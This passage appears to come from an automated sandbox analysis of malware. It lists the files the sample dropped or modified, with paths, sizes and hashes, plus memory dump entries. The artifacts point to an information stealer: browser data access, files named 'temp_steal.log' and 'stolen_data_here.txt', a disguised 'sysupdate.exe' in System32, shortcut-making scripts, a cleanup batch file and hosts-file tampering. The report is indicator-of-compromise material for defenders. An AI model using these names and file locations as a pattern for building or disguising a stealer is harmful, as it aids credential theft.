                                                    • SHA256 06eaca480a4bf72e0ea5e99152b94f3fd48787da48196359d897c2f610c597b4
                                                    • MD5 SHA1 SHA512 SSDEEP TLSH

                                                    Local State

                                                    • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State
                                                    • Size 240KB
                                                    • SHA256 787ed63582a278279abb4b597f28c2e6ef563b6ea040e390affd8ec6536b4a9e
                                                    • MD5 SHA1 SHA512 SSDEEP TLSH

                                                    wherein.io_chrome.exe.log

                                                    • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\wherein.io_chrome.exe.log
                                                    • Size 660B
                                                    • SHA256 f424c891fbc7385e9826beed2dd8755aeac5495744b5de0a1e370891a7beaf7a
                                                    • MD5 SHA1 SHA512 TLSH

                                                    __PSScriptPolicyTest_ccl22bsc.ld5.ps1

                                                    • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ccl22bsc.ld5.ps1
                                                    • Size 60B
                                                    • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
                                                    • MD5 SHA1 SHA512 TLSH

                                                    createshortcut.vbs

                                                    • Path C:\Users\Admin\AppData\Local\Temp\createshortcut.vbs
                                                    • Size 242B
                                                    • SHA256 9b503aabe0b229e2bba7f563aab11dfd343eda5c472e350d512a53f4b4ff2df1
                                                    • MD5 SHA1 SHA512 TLSH

                                                    del.bat

                                                    • Path C:\Users\Admin\AppData\Local\Temp\del.bat
                                                    • Size 59B
                                                    • SHA256 a51f2a0f053ac35b4158bb02b75421ab3698e1d0ee4f926abf1bae3af1570c53
                                                    • MD5 SHA1 SHA512 TLSH

                                                    makelnk.vbs

                                                    • Path C:\Users\Admin\AppData\Local\Temp\makelnk.vbs
                                                    • Size 243B
                                                    • SHA256 7c8a9ffabf138b4d6b7422b31aa085dc447366e0bfb13a542f879e81600708b4
                                                    • MD5 SHA1 SHA512 TLSH

                                                    temp_steal.log

                                                    • Path C:\Users\Admin\AppData\Local\Temp\temp_steal.log
                                                    • Size 325KB
                                                    • SHA256 c0714fa46988df1f68e823cf7b4c7bced42213ba9b711bccd9cfb483784d38bc
                                                    • MD5 SHA1 SHA512 SSDEEP TLSH

                                                    stolen_data_here.txt

                                                    • Path C:\Users\Admin\Desktop\stolen_data_here.txt
                                                    • Size 325KB
                                                    • SHA256 e18749f212801bb26c4eec14cc0563f6a356c374da3e8284c313a31c7748991c
                                                    • MD5 SHA1 SHA512 SSDEEP TLSH

                                                    sysupdate.exe

                                                    • Path C:\Windows\System32\sysupdate.exe
                                                    • Size 48KB
                                                    • SHA256 73023c2474a65c525746fad435469fa9dcd847cc87a9d76463e160405d0af76a
                                                    • MD5 SHA1 SHA512 SSDEEP TLSH

                                                    hosts

                                                    • Path C:\Windows\system32\drivers\etc\hosts
                                                    • Size 1KB
                                                    • SHA256 9e00229c7b616d536f9d0ea92954d99cccc1777a6478bf836fc8b6ff301c7d03
                                                    • MD5 SHA1 SHA512 TLSH

                                                    hosts

                                                    • Path C:\Windows\system32\drivers\etc\hosts
                                                    • Size 1KB
                                                    • SHA256 23383fbd5759a11751c072d17065026f026dbb6e364a8cf3402c6a78aa316577
                                                    • MD5 SHA1 SHA512 TLSH

                                                    hosts

                                                    • Path C:\Windows\system32\drivers\etc\hosts
                                                    • Size 1KB
                                                    • SHA256 05cbb805453fb4d33b6ebe61ba64f15bd852227542c765c1b49f7b76a000cf29
                                                    • MD5 SHA1 SHA512 TLSH

                                                    memory/2240-0-0x00000000009B0000-0x00000000009C2000-memory.dmp

                                                    memory/2240-1-0x000000001B530000-0x000000001B540000-memory.dmp

                                                    memory/5104-659-0x000001BB93B60000-0x000001BB93B82000-memory.dmp

                                                    memory/5688-2323-0x0000024C38E30000-0x0000024C38E31000-memory.dmp